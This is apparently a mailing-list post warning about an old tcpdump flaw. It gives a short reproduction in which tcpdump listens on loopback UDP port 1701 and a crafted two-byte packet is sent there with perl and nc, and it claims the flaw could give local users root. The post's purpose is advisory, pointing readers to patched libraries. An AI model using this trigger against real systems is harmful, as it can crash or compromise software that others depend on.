I recently (again) run across this issue with a somewhat old TCPDUMP security issue; I figured it might be relevant here -- especially considering all the recent pcap and tcp/ip sniffing discussions:


Issue -


tcpdump -i lo0 -n udp and dst port 1701 & <Enter>
perl -e 'print "\xff\x02"' | nc -u localhost 1701

The above is a local security hack which could give non-priledged users root access.


To Avoid/Fix -


Please make sure you are using correctly patched/updated pcap and tcpdump libraries and code.


Just a small fyi; -Bill- __Sx__________________________________________ http://youve-reached-the.endoftheinternet.org/

--
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
<http://learn.perl.org/> <http://learn.perl.org/first-response>




Reply via email to